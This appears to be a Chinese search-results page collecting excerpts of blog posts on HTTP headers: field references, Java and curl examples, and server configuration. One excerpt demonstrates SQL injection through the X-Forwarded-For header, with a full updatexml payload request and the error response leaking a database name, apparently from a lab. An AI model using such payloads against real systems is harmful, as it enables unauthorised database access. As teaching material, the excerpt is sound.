精华内容
下载资源
问答
  • HTTP头部详解

    万次阅读 多人点赞 2018-10-31 15:59:49
    HTTP头部详解 ...客户端向服务器发送一个请求,请求包含请求的方法、URI、协议版本、以及包含请求修饰符、客户信息和内容的类似于MIME的消息结构。服务器以一个状态行作为响应,相应的内容包括消息协议的...

    HTTP头部详解


    HTTP(HyperTextTransferProtocol)是超文本传输协议的缩写,它用于传送WWW方式的数据,关于HTTP 协议的详细内容请参考RFC2616。HTTP协议采用了请求/响应模型。客户端向服务器发送一个请求,请求头包含请求的方法、URI、协议版本、以及包含请求修饰符、客户信息和内容的类似于MIME的消息结构。服务器以一个状态行作为响应,相应的内容包括消息协议的版本,成功或者错误编码加上包含服务器信息、实体元信息以及可能的实体内容。

    通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机的响应消息。这两种类型的消息由一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。HTTP的头域包括通用头,请求头,响应头和实体头四个部分。每个头域由一个域名,冒号(:)和域值三部分组成。域名是大小写无关的,域值前可以添加任何数量的空格符,头域可以被扩展为多行,在每行开始处,使用至少一个空格或制表符。

    通用头域(即通用头)


    通用头域包含请求和响应消息都支持的头域,通用头域包含Cache-Control、 Connection、Date、Pragma、Transfer-Encoding、Upgrade、Via。对通用头域的扩展要求通讯双方都支持此扩展,如果存在不支持的通用头域,一般将会作为实体头域处理。下面简单介绍几个在UPnP消息中使用的通用头域。

    Cache-Control头域


    Cache -Control指定请求和响应遵循的缓存机制。在请求消息或响应消息中设置 Cache-Control并不会修改另一个消息处理过程中的缓存处理过程。请求时的缓存指令包括no-cache、no-store、max-age、 max-stale、min-fresh、only-if-cached,响应消息中的指令包括public、private、no-cache、no- store、no-transform、must-revalidate、proxy-revalidate、max-age。

    各个消息中的指令含义如下:

    Public指示响应可被任何缓存区缓存; 
    Private指示对于单个用户的整个或部分响应消息,不能被共享缓存处理。这允许服务器仅仅描述当用户的部分响应消息,此响应消息对于其他用户的请求无效; 
    no-cache指示请求或响应消息不能缓存; 
    no-store用于防止重要的信息被无意的发布。在请求消息中发送将使得请求和响应消息都不使用缓存; 
    max-age指示客户机可以接收生存期不大于指定时间(以秒为单位)的响应; 
    min-fresh指示客户机可以接收响应时间小于当前时间加上指定时间的响应; 
    max-stale指示客户机可以接收超出超时期间的响应消息。如果指定max-stale消息的值,那么客户机可以接收超出超时期指定值之内的响应消息。

    Date头域


    date头域表示消息发送的时间,时间的描述格式由rfc822定义。例如,Date:Mon,31Dec200104:25:57GMT。Date描述的时间表示世界标准时,换算成本地时间,需要知道用户所在的时区。

    Pragma头域


    Pragma头域用来包含实现特定的指令,最常用的是Pragma:no-cache。在HTTP/1.1协议中,它的含义和Cache- Control:no-cache相同。

    Connection表示连接状态


    请求:

    close(告诉WEB服务器或者代理服务器,在完成本次请求的响应后,断开连接,不要等待本次连接的后续请求了)。 
    keepalive(告诉WEB服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)。

    响应:

    close(连接已经关闭)。 keepalive(连接保持着,在等待本次连接的后续请求)。 
    Keep-Alive:如果浏览器请求保持连接,则该头部表明希望 WEB 服务器保持连接多长时间(秒)。例如:Keep-Alive:300

    请求消息(请求头)


    请求消息的第一行为下面的格式:Method Request-URI HTTP-Version

    Method 
    表示对于Request-URI完成的方法,这个字段是大小写敏感的,包括OPTIONS、GET、HEAD、POST、PUT、DELETE、 
    TRACE。方法GET和HEAD应该被所有的通用WEB服务器支持,其他所有方法的实现是可选的,GET方法取回由Request-URI标识的信息, 
    HEAD方法也是取回由Request-URI标识的信息,只是可以在响应时,不返回消息体;POST方法可以请求服务器接收包含在请求中的实体信息,可以用于提交表单,向新闻组、BBS、邮件群组和数据库发送消息。
    
    Request-URI 
    表示请求的URL。Request-URI遵循URI格式,在此字段为星号(*)时,说明请求并不用于某个特定的资源地址,而是用于服务器本身。
    
    HTTP- Version 
    表示支持的HTTP版本,例如为HTTP/1.1。

    请求头域允许客户端向服务器传递关于请求或者关于客户机的附加信息。请求头域可能包含下列字段Accept、Accept-Charset、Accept- Encoding、Accept-Language、Authorization、From、Host、If-Modified-Since、If- Match、If-None-Match、If-Range、If-Range、If-Unmodified-Since、Max-Forwards、 Proxy-Authorization、Range、Referer、User-Agent。对请求头域的扩展要求通讯双方都支持,如果存在不支持的请求头域,一般将会作为实体头域处理。

    典型的请求消息:

    GET http://download.microtool.de:80/somedata.exe
    
    Host: download.microtool.de
    
    Accept:*/*
    
    Pragma: no-cache
    
    Cache-Control: no-cache
    
    Referer: http://download.microtool.de/
    
    User-Agent:Mozilla/4.04[en](Win95;I;Nav)
    
    Range:bytes=554554-

    上例第一行表示HTTP客户端(可能是浏览器、下载程序)通过GET方法获得指定URL下的文件。棕色的部分表示请求头域的信息,绿色的部分表示通用头部分。

    • Host头域指定请求资源的Intenet主机和端口号,必须表示请求url的原始服务器或网关的位置。HTTP/1.1请求必须包含主机头域,否则系统会以400状态码返回;
    • Accept:告诉WEB服务器自己接受什么介质类型,*/*表示任何类型,type/*表示该类型下的所有子类型,type/sub-type。
    • Accept-Charset: 浏览器申明自己接收的字符集。
    • Authorization:当客户端接收到来自WEB服务器的 WWW-Authenticate响应时,用该头部来回应自己的身份验证信息给WEB服务器。

    例如

    表示头500个字节:bytes=0-499
    
    表示第二个500字节:bytes=500-999
    
    表示最后500个字节:bytes=-500
    
    表示500字节以后的范围:bytes=500-
    
    第一个和最后一个字节:bytes=0-0,-1
    
    同时指定几个范围:bytes=500-600,601-999

    但是服务器可以忽略此请求头,如果无条件GET包含Range请求头,响应会以状态码206(PartialContent)返回而不是以200 (OK)

    响应消息(响应头)


    响应消息的第一行为下面的格式: 
    HTTP-Version Status-Code Reason-Phrase

    • HTTP -Version表示支持的HTTP版本,例如为HTTP/1.1。
    • Status- Code是一个三个数字的结果代码。
    • Reason-Phrase给Status-Code提供一个简单的文本描述。
    Status-Code主要用于机器自动识别,Reason-Phrase主要用于帮助用户理解。Status-Code的第一个数字定义响应的类别,后两个数字没有分类的作用。第一个数字可能取5个不同的值:
    
    1xx:信息响应类,表示接收到请求并且继续处理
    2xx:处理成功响应类,表示动作被成功接收、理解和接受
    3xx:重定向响应类,为了完成指定的动作,必须接受进一步处理
    4xx:客户端错误,客户请求包含语法错误或者是不能正确执行
    5xx:服务端错误,服务器不能正确执行一个正确的请求


    响应头域允许服务器传递不能放在状态行的附加信息,这些域主要描述服务器的信息和 Request-URI进一步的信息。响应头域包含Age、Location、Proxy-Authenticate、Public、Retry- After、Server、Vary、Warning、WWW-Authenticate。对响应头域的扩展要求通讯双方都支持,如果存在不支持的响应头 域,一般将会作为实体头域处理。

    典型的响应消息: 
    HTTP/1.0 200 OK 
    Date:Mon,31Dec200104:25:57GMT 
    Server:Apache/1.3.14(Unix) 
    Content-type:text/html 
    Last-modified:Tue,17Apr200106:46:28GMT 
    Etag:"a030f020ac7c01:1e9f" 
    Content-length:39725426 
    Content-range:bytes554554-40279979/40279980

    Location响应头用于重定向接收者到一个新URI地址。Server响应头包含处理请求的原始服务器的软件信息。此域能包含多个产品标识和注释,产品标识一般按照重要性排序

    实体消息(实体头和实体)


    请求消息和响应消息都可以包含实体信息,实体信息一般由实体头域和实体组成。

    实体头域包含关于实体的原信息,实体头包括Allow、Content- Base、Content-Encoding、Content-Language、Content-Length、Content-Location、Content-MD5、Content-Range、Content-Type、 Etag、Expires、Last-Modified、extension-header。extension-header允许客户端定义新的实体头,但是这些域可能无法为接受方识别。

    Content-Type实体头用于向接收方指示实体的介质类型,指定HEAD方法送到接收方的实体介质类型,或GET方法发送的请求介质类型,表示后面的文档属于什么MIME类型。
    Content-Length表示实际传送的字节数。
    Allow 实体头至服务器支持哪些请求方法(如GET、POST等)。
    Content-Range表示传送的范围,用于指定整个实体中的一部分的插入位置,他也指示了整个实体的长度。在服务器向客户返回一个部分响应,它必须描述响应覆盖的范围和整个实体长度。

    一般格式: 
    Content-Range:bytes-unitSPfirst-byte-pos-last-byte-pos/entity-legth
    
    例 如,传送头500个字节次字段的形式:Content-Range:bytes0- 
    499/1234如果一个http消息包含此节(例如,对范围请求的响应或对一系列范围的重叠请求)。

    Content-Encoding 指文档的编码(Encode)方法。 
    实体可以是一个经过编码的字节流,它的编码方式由Content-Encoding或Content-Type定 义,它的长度由Content-Length或Content-Range定义。

    附录:
    HTTP头部详解

    Requests部分

    Header解释示例
    Accept指定客户端能够接收的内容类型Accept: text/plain, text/html
    Accept-Charset浏览器可以接受的字符编码集。Accept-Charset: iso-8859-5
    Accept-Encoding指定浏览器可以支持的web服务器返回内容压缩编码类型。Accept-Encoding: compress, gzip
    Accept-Language浏览器可接受的语言Accept-Language: en,zh
    Accept-Ranges可以请求网页实体的一个或者多个子范围字段Accept-Ranges: bytes
    AuthorizationHTTP授权的授权证书Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
    Cache-Control指定请求和响应遵循的缓存机制Cache-Control: no-cache
    Connection表示是否需要持久连接。(HTTP 1.1默认进行持久连接)Connection: close
    CookieHTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器。Cookie: $Version=1; Skin=new;
    Content-Length请求的内容长度Content-Length: 348
    Content-Type请求的与实体对应的MIME信息Content-Type: application/x-www-form-urlencoded
    Date请求发送的日期和时间Date: Tue, 15 Nov 2010 08:12:31 GMT
    Expect请求的特定的服务器行为Expect: 100-continue
    From发出请求的用户的EmailFrom: user@email.com
    Host指定请求的服务器的域名和端口号Host: www.zcmhi.com
    If-Match只有请求内容与实体相匹配才有效If-Match: “737060cd8c284d8af7ad3082f209582d”
    If-Modified-Since如果请求的部分在指定时间之后被修改则请求成功,未被修改则返回304代码If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT
    If-None-Match如果内容未改变返回304代码,参数为服务器先前发送的Etag,与服务器回应的Etag比较判断是否改变If-None-Match: “737060cd8c284d8af7ad3082f209582d”
    If-Range如果实体未改变,服务器发送客户端丢失的部分,否则发送整个实体。参数也为EtagIf-Range: “737060cd8c284d8af7ad3082f209582d”
    If-Unmodified-Since只在实体在指定时间之后未被修改才请求成功If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT
    Max-Forwards限制信息通过代理和网关传送的时间Max-Forwards: 10
    Pragma用来包含实现特定的指令Pragma: no-cache
    Proxy-Authorization连接到代理的授权证书Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
    Range只请求实体的一部分,指定范围Range: bytes=500-999
    Referer先前网页的地址,当前请求网页紧随其后,即来路Referer: http://www.zcmhi.com/archives/71.html
    TE客户端愿意接受的传输编码,并通知服务器接受接受尾加头信息TE: trailers,deflate;q=0.5
    Upgrade向服务器指定某种传输协议以便服务器进行转换(如果支持)Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11
    User-AgentUser-Agent的内容包含发出请求的用户信息User-Agent: Mozilla/5.0 (Linux; X11)
    Via通知中间网关或代理服务器地址,通信协议Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
    Warning关于消息实体的警告信息Warn: 199 Miscellaneous warning

    Responses 部分 

    Header解释示例
    Accept-Ranges表明服务器是否支持指定范围请求及哪种类型的分段请求Accept-Ranges: bytes
    Age从原始服务器到代理缓存形成的估算时间(以秒计,非负)Age: 12
    Allow对某网络资源的有效的请求行为,不允许则返回405Allow: GET, HEAD
    Cache-Control告诉所有的缓存机制是否可以缓存及哪种类型Cache-Control: no-cache
    Content-Encodingweb服务器支持的返回内容压缩编码类型。Content-Encoding: gzip
    Content-Language响应体的语言Content-Language: en,zh
    Content-Length响应体的长度Content-Length: 348
    Content-Location请求资源可替代的备用的另一地址Content-Location: /index.htm
    Content-MD5返回资源的MD5校验值Content-MD5: Q2hlY2sgSW50ZWdyaXR5IQ==
    Content-Range在整个返回体中本部分的字节位置Content-Range: bytes 21010-47021/47022
    Content-Type返回内容的MIME类型Content-Type: text/html; charset=utf-8
    Date原始服务器消息发出的时间Date: Tue, 15 Nov 2010 08:12:31 GMT
    ETag请求变量的实体标签的当前值ETag: “737060cd8c284d8af7ad3082f209582d”
    Expires响应过期的日期和时间Expires: Thu, 01 Dec 2010 16:00:00 GMT
    Last-Modified请求资源的最后修改时间Last-Modified: Tue, 15 Nov 2010 12:45:26 GMT
    Location用来重定向接收方到非请求URL的位置来完成请求或标识新的资源Location: http://www.zcmhi.com/archives/94.html
    Pragma包括实现特定的指令,它可应用到响应链上的任何接收方Pragma: no-cache
    Proxy-Authenticate它指出认证方案和可应用到代理的该URL上的参数Proxy-Authenticate: Basic
    refresh应用于重定向或一个新的资源被创造,在5秒之后重定向(由网景提出,被大部分浏览器支持)

     

     

    Refresh: 5; url=

    http://www.zcmhi.com/archives/94.html

    Retry-After如果实体暂时不可取,通知客户端在指定时间之后再次尝试Retry-After: 120
    Serverweb服务器软件名称Server: Apache/1.3.27 (Unix) (Red-Hat/Linux)
    Set-Cookie设置Http CookieSet-Cookie: UserID=JohnDoe; Max-Age=3600; Version=1
    Trailer指出头域在分块传输编码的尾部存在Trailer: Max-Forwards
    Transfer-Encoding文件传输编码Transfer-Encoding:chunked
    Vary告诉下游代理是使用缓存响应还是从原始服务器请求Vary: *
    Via告知代理客户端响应是通过哪里发送的Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
    Warning警告实体可能存在的问题Warning: 199 Miscellaneous warning
    WWW-Authenticate表明客户端请求实体应该使用的授权方案WWW-Authenticate: Basic

    更多参见 w3c官网Header Field Definitions

    展开全文
  • http头部注入

    千次阅读 2019-06-25 19:21:53
    http头部注入 我们首先可以在浏览器设置手动代理模式,然后通过burpsuite进行代理配置后进行抓包,如下是一个网站登录页面的http头部信息: POST /baji/check_login.php HTTP/1.1 Host: 192.168.120.137 User-Agent:...

    http头部注入

    我们首先可以在浏览器设置手动代理模式,然后通过burpsuite进行代理配置后进行抓包,如下是一个网站登录页面的http头部信息:

    POST /baji/check_login.php HTTP/1.1
    Host: 192.168.120.137
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.120.137/baji/login.php
    Cookie: PHPSESSID=0minmo2e9at6uucdton5udeg05
    DNT: 1
    X-Forwarded-For: 8.8.8.8
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 29
    
    username=admin&password=admin
    

    因为我们这个网站代码中的ip字段和数据库中有交互,所以我们可以通过http头部信息中的X-Forwarded-For字段进行注入,注入代码如下:

    POST /baji/check_login.php HTTP/1.1
    Host: 192.168.120.137
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.120.137/baji/login.php
    Cookie: PHPSESSID=0minmo2e9at6uucdton5udeg05
    DNT: 1
    X-Forwarded-For: 8.8.'and updatexml(1,(concat(0x23,database(),0x23)),3) and'.8
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 29
    
    username=admin&password=admin
    

    服务器的回应:

    HTTP/1.1 200 OK
    Date: Tue, 25 Jun 2019 11:05:32 GMT
    Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
    X-Powered-By: PHP/5.4.45
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    Content-Length: 46
    Connection: close
    Content-Type: text/html;charset=utf-8
    
    查询日志出错XPATH syntax error: '#baji#'
    

    error后面的baji就是我们想要的结果。
    这就是我理解的http头部注入的原理,http头部注入的前提是头部字段中的数据要与数据库产生交互,然后把你的注入代码组合到相应的字段里。

    展开全文
  • Java携带HTTP头信息下载网络图片

    千次阅读 2019-03-12 10:48:27
    Java携带HTTP头信息下载网络图片 网络图片下载校验一般分两种情况: 1、校验Reffer头信息,即只有指定的网站的才能访问图片 2、校验Cookie头信息,即只有登录状态才能访问图片 如下图直接通过url访问返回:{"code...

    Java携带HTTP头信息下载网络图片

    网络图片下载校验一般分两种情况:
    1、校验Reffer头信息,即只有指定的网站的才能访问图片
    2、校验Cookie头信息,即只有登录状态才能访问图片
    如下图直接通过url访问返回:{"code":"40310014","msg":"invalid Referer header"}

    原http访问图片携带了Reffer

    工具代码 

    /**
    	 * 携带头信息下载网络图片
    	 * @param url 图片url
    	 * @param formatName 文件格式名称
    	 * @param localFile 下载到本地文件
    	 * @param headers http协议交互中header信息,如Cookie
    	 * @return 下载是否成功
    	 */
    	public static boolean downloadImageWithHeaders(String imageUrl, String formatName, File localFile, Map<String, String> headers) {
    		boolean isSuccess = false;
    		InputStream stream = null;
    		try {
    			URL url = new URL(imageUrl);
    			URLConnection conn = url.openConnection();
    			if (headers != null && !headers.isEmpty()) {
    				//设置头信息
    				for (Map.Entry<String, String> entry : headers.entrySet()) {
    					conn.setRequestProperty(entry.getKey(), entry.getValue());
    				}
    			}
    			conn.setDoInput(true);
    			stream = conn.getInputStream();
    			BufferedImage bufferedImg = ImageIO.read(stream);
    			if (bufferedImg != null) {
    				isSuccess = ImageIO.write(bufferedImg, formatName, localFile);
    			} else {
    				throw new RuntimeException("图片[" + imageUrl + "]下载失败");
    			}
    		} catch (MalformedURLException e) {
    			e.printStackTrace();
    		} catch (IOException e) {
    			e.printStackTrace();
    		} finally {
    			if (stream != null) {
    				try {
    					stream.close();
    				} catch (IOException e) {
    					e.printStackTrace();
    				}
    			}
    		}
    		return isSuccess;
    	}

    测试代码

    /**
    	 * 测试携带请求头
    	 */
    	@Test
    	public void testDownloadImageWithHeaders() {
    		String baiduLogoUrl = "http://pic.58pic.com/58pic/15/68/59/71X58PICNjx_1024.jpg";
    		File localFile = new File(IMAGE_PATH + "scenery.jpg");
    		Map<String, String> headers = new HashMap<String, String>();
    //		headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
    //		headers.put("Accept-Encoding", "gzip, deflate");
    //		headers.put("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8");
    //		headers.put("Cache-Control", "max-age=0");
    //		headers.put("Connection", "keep-alive");
    //		headers.put("Cookie", "referer=%22https%3A%5C%2F%5C%2Fwww.58pic.com%5C%2Ftupian%5C%2FBMP.html%22; qt_visitor_id=%228d800369135f0ea407efc30c35b855c0%22; qt_uid=0; qt_type=0; user-browser=%22baidu%22; history_search=%22%7B%5C%22BMP_%5C%22%3A%5C%22%5C%5C%5C%2Ftupian%5C%5C%5C%2FBMP.html%5C%22%7D%22; awake=0; qiantudata2018jssdkcross=%7B%22distinct_id%22%3A%2216956b4d4b859f-0f2dc330b57f7c-3a3a5c0e-2073600-16956b4d4b92bd%22%2C%22props%22%3A%7B%22latest_traffic_source_type%22%3A%22%E8%87%AA%E7%84%B6%E6%90%9C%E7%B4%A2%E6%B5%81%E9%87%8F%22%2C%22latest_referrer%22%3A%22https%3A%2F%2Fwww.baidu.com%2Flink%22%2C%22latest_referrer_host%22%3A%22www.baidu.com%22%2C%22latest_search_keyword%22%3A%22%E6%9C%AA%E5%8F%96%E5%88%B0%E5%80%BC%22%7D%7D; qt_utime=1551937913; FIRSTVISITED=1551937885.528; showAd:8d800369135f0ea407efc30c35b855c0=%22w6SIEgLKiJOIC5HVD3fKoJHKodaWmZy8mtm4zJbLytqWn5vMyZmWyZm4yJG4nwmWiIWIywr5zxj3AxnLCL2Pzci9iJeIlcj3DxjUiJOImsiSiNnOB6DFDgLTzxmIoJmSiMXHC6rFC5HVD423Aw4LiJOXntuXotm6ote3Fv3%3D%22");
    //		headers.put("Host", "pic.58pic.com");
    //		headers.put("If-Modified-Since", "Tue, 22 Jul 2014 15:40:16 GMT");
    //		headers.put("If-None-Match", "ae01753237194fa9a5badf2d90fd20d6");
    		headers.put("Referer", "http://image.baidu.com/search/detail?ct=503316480&z=0&ipn=d&word=%E5%9B%BE%E7%89%87&step_word=&hs=0&pn=0&spn=0&di=107250&pi=0&rn=1&tn=baiduimagedetail&is=0%2C0&istype=0&ie=utf-8&oe=utf-8&in=&cl=2&lm=-1&st=undefined&cs=1986179278%2C1118313821&os=1011800134%2C3605107432&simid=3440756675%2C361207036&adpicid=0&lpn=0&ln=1765&fr=&fmq=1552355383195_R&fm=&ic=undefined&s=undefined&hd=undefined&latest=undefined&copyright=undefined&se=&sme=&tab=0&width=undefined&height=undefined&face=undefined&ist=&jit=&cg=&bdtype=0&oriquery=&objurl=http%3A%2F%2Fpic.58pic.com%2F58pic%2F15%2F68%2F59%2F71X58PICNjx_1024.jpg&fromurl=ippr_z2C%24qAzdH3FAzdH3Fooo_z%26e3Bcbrtv_z%26e3Bv54AzdH3Ffitstwg2p7AzdH3F8cmbcl08_z%26e3Bip4s&gsm=0&rpstart=0&rpnum=0&islist=&querylist=&force=undefined");
    //		headers.put("Upgrade-Insecure-Requests", "1");
    //		headers.put("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36");
    		Assert.assertTrue(ImageUtil.downloadImageWithHeaders(baiduLogoUrl, ImageUtil.JPG, localFile, headers));
    	}

    完整源码:https://github.com/ConstXiong/xtools

     


    【Java面试题与答案】整理推荐

     

    展开全文
  • 自定义http头部的应用场景

    千次阅读 2019-01-19 20:12:22
    其实很多人都知道可以自己定制http头部的键值对, 但是许多开发者会选择性遗忘这个特性, 因为他们认为能在body中记录的信息为啥要放在狭窄的头部呢? 我来告诉你, 自定义头部信息和设计模式是息息相关的!尤其是...

     

    其实很多人都知道可以自己定制http头部的键值对, 但是许多开发者会选择性遗忘这个特性, 因为他们认为能在body中记录的信息为啥要放在狭窄的头部呢?

    我来告诉你, 自定义头部信息和设计模式是息息相关的!尤其是restful.

    自定义HTTP标头通常用于提供可能与Web开发人员相关的其他信息,或用于故障排除目的。这些标题通常首先开始X-,但是,我们将进一步讨论命名约定。这篇文章应该有助于您更好地全面了解自定义HTTP标头实际是什么,它们有用的原因以及如何定义它们。

     

    为什么使用自定义HTTP标头?

    如上所述,自定义标头非常适合故障排除,信息用途,甚至在服务器端实现特定逻辑。例如,我非常喜欢利用'msg'字段来配合400~599错误编号来提供额外的错误消息.

     

     

     

    如果资产是从缓存传递的,则自定义标头返回HIT,如果是从源服务器传送,则返回MISS。使用自定义HTTP标头的另一个例子是实现X-Pull标头。您可以将此自定义标头用于各种用途,包括限制源服务器上的带宽,限制CDN流量,在源服务器上创建自定义逻辑等。自定义标头有很多用途,它们非常常用。即使您没有使用CDN或未在源服务器上专门定义任何自定义HTTP标头,您仍可能使用自定义标头发送响应。例如,WordPress发送以下标头(但是可以禁用它们)。

    X-Powered-By: PHP/5.2.17
    X-Pingback: https://example.com/xmlrpc.php
    

     

    命名约定

    说到HTTP自定义标头的正确命名约定,有一些来回。最初,建议开始命名自定义标头,X-以便用户知道这些标头是自定义的而不是标准化的。但是,根据RFC 6648,此建议已被弃用。

    在应用程序协议的上下文中使用的新参数的创建者不应该在其参数名称前加上“X-”或类似的结构。

    虽然不推荐使用建议X-,但这并不意味着它不再受支持。事实上,仍有许多场景X-继续使用。弃用建议的原因X-是,如果特定的自定义HTTP标头变得标准化,浏览器将需要支持这两个名称,或者开发人员需要更新其自定义标头名称的所有实例。相反,现在建议只使用没有X-前缀的相关内容来命名自定义标头。

     

    设置自定义HTTP标头

    如果要在服务器上设置要在HTTP响应中发送的自定义HTTP标头,则过程非常简单。我们在下面概述了为Apache和Nginx Web服务器添加自定义标头所需的代码段。

     

    Apache

    对于Apache用户,可以将以下代码段添加到.htaccess文件中。只需将自定义标题名称和“自定义标题值”替换为HTTP标头的实际名称和值即可。

    Header set Custom-Header-Name "Custom Header Value"
    

    Nginx

    对于Nginx用户,可以将以下代码段添加到配置文件中。请务必修改名称和值以满足您的需要,并在保存更改后重新加载Nginx。

    add_header Custom-Header-Name "Custom Header Value"
    

    Node.JS

    非常讨厌Apache和Nginx容器的配置方式, 非要以一种不伦不类的语法写在配置文件当中, 很不灵活, 还是喜欢nodejs'无容器'的管理模式, 全部配置都写在代码中:

    Response.set('Content-Disposition', 'attachment; filename="file.zip"');

     

     

    总结

    在许多情况下,自定义HTTP标头非常有用。虽然它们的主要目的是提供额外的信息,但是你可以用它们做更多的事情,正如我们上面简要解释的那样。但要注意的一件事是避免以改变HTTP方法行为的方式使用它们。除此之外,尝试在各种用例中尝试它们。

    然后还有就是使用自定义头部的时候, 命名是时候记得要绕开浏览器的标准key-name就好了, 具体的标准名可以参考MDN

    展开全文
  • 利用response设置HTTP头

    千次阅读 2016-05-13 13:02:54
    HTTP头一般用来设置网页的基本属性,可以通过response的setHeader()方法来进行设置 1:  response.setHeader("Pragma","No - cache"); response.setHeader("Cache - Control","no - cache"); response....
  • SQL注入之HTTP头注入漏洞

    千次阅读 2019-04-25 21:06:04
    输入参数主要覆盖范围有: HTTP 查询字符参数(GET):输入参数通过URL发送 HTTP 正文参数(POST):输入参数通过HTTP正文发送 HTTP Cookie参数:输入参数通过... ... 潜在的HTTP头SQL注入有:Cookie, User-agent, R...
  • HTTP 头部的编码方式——ASCII编码

    千次阅读 2019-03-09 19:47:03
    我们知道在HTTP头部中传入的信息不会被url encode,那header如果有非ASCII码,如中文字符等,会怎么被处理呢? 答案是,只有ASCII字符才能保证正常工作,在服务器、浏览器中被读出来,中文字符在被读取时可能会...
  • Web服务器HTTP头信息公开 漏洞

    千次阅读 2020-07-16 19:41:05
    修改Web服务器的HTTP头以不公开关于底层Web服务器的详细信息。 服务器 Windows2008 r2 方法转载自:https://blog.51cto.com/chenchunjia/1958167 一、漏洞名称 漏洞名称 漏洞摘要 ...
  • http头部字段Content-Type约定请求和响应的HTTP body内容编码类型,客户端和服务端根据http头部字段Content-Type正确解码HTTP body内容。 常见的http头部Content-Type:  application/x-www-form-urlencoded ...
  • HTTP头信息泄露-隐藏web服务器banner信息 一些黑客会通过该软件暴露出来的信息针对性的入侵,为了服务器的安全这些信息一定要及时关闭。Tomcat在404,405,403等错误的时候,会有默认的错误信息输出到页面上。这个...
  • PHP获取HTTP头信息

    千次阅读 2017-04-25 17:31:31
    获取HTTP请求信息
  • 如何在curl中设置自定义的HTTP头

    千次阅读 2018-03-06 16:02:40
    如何在curl中设置自定义的HTTP头curl是一个强大的命令行工具,它可以通过网络将信息传递给服务器或者从服务器获取数据。他支持很多的传输协议,尤其是HTTP/HTTPS以及其他诸如FTP/FTPS, RTSP, POP3/POP3S, SCP, ...
  • 使用chrome浏览器自带的开发者工具查看http头的方法 1.在网页任意地方右击选择审查元素或者按下 shift+ctrl+c, 打开chrome自带的调试工具; 2.选择network标签, 刷新网页(在打开调试工具的情况下刷新); 3.刷新后在...
  • 使用chrome浏览器查看当前HTTP头

    千次阅读 2017-01-09 02:10:35
    使用chrome浏览器自带的开发者工具查看http头的方法 1.在网页任意地方右击选择审查元素或者按下 shift+ctrl+c, 打开chrome自带的调试工具; 2.选择network标签, 刷新网页(在打开调试工具的情况下刷新); 3.刷新后...
  • Android如何在http头信息里设置参数

    万次阅读 2014-12-18 23:54:39
    在使用http请求server时常常要传递一些参数给server,如IMEI号、平台号、渠道号、客户端的版本号等一些...1.HttpClient的设置http头的参数 HttpClient httpclient = new DefaultHttpClient(); httpclient.getPar
  • 在curl中设置自定义的HTTP头

    万次阅读 2017-07-21 08:10:39
    我如何能够在curl中使用自定义的HTTP头呢? curl是一个强大的命令行工具,它可以通过网络将信息传递给服务器或者从服务器获取数据。他支持很多的传输协议,尤其是HTTP/HTTPS以及其他诸如FTP/FTPS, RTSP, POP3/...
  • IIS中http头的作用

    千次阅读 2012-09-23 22:38:40
    IIS中http头的作用 在IIS中有一个叫主机头的概念,我们基本都已经掌握,还有一个叫HTTP头的概念,有的同学已经问我这个问题,其实HTTP头更多的涉及到软件上的东东。  最直观的HTTP头就是当我们在FROTPAGE或...
  • http头部解析

    千次阅读 2013-12-05 12:39:21
    一、基础篇 ...客户端向服 务器发送一个请求,请求包含请求的方法、URI、协议版本、以及包含请求修饰符、客户信息和内容的类似于MIME的消息结构。服务器以一个状态行作为响 应,相应的内容包括消息协议的版
  • 最全的HTTP头部信息分析

    千次阅读 2016-08-23 11:40:56
    http 信息详解XMLHttpRequest 备注 XMLHttpRequest成员 属性方法 onreadystatechange 语法备注 readyState 语法备注 responseBody 语法备注 responseStream 语法备注 responseText 语法备注 responseXML ...
  • curl命令设置自定义的HTTP头

    万次阅读 2015-07-21 15:42:53
    我如何能够在curl中使用自定义的HTTP头呢? curl是一个强大的命令行工具,它可以通过网络将信息传递给服务器或者从服务器获取数据。他支持很多的传输协议,尤其是HTTP/HTTPS以及其他诸如FTP/FTPS, RTSP, POP3/...
  • http 信息精讲

    千次阅读 2007-05-15 15:38:00
    1.http 信息详解 HTTP(HyperTextTransferProtocol)是超文本传输协议的缩写,它用于传送WWW方式的数据,关于HTTP协议的详细内容请参考RFC2616。HTTP协议采用了请求/响应模型。客户端向服务器发送一个请求,请求...
  • http头中的host字段详解

    万次阅读 2016-04-13 02:36:25
    今天同事问了一个问题引发了我对http头中host字段的详细思考,总结了以下5条。 1.host字段可以是域名,也可以是ip地址。host字段域名/ip后可以跟端口号,如Host: www.6san.com:8080 2.host可以由程序自定义...
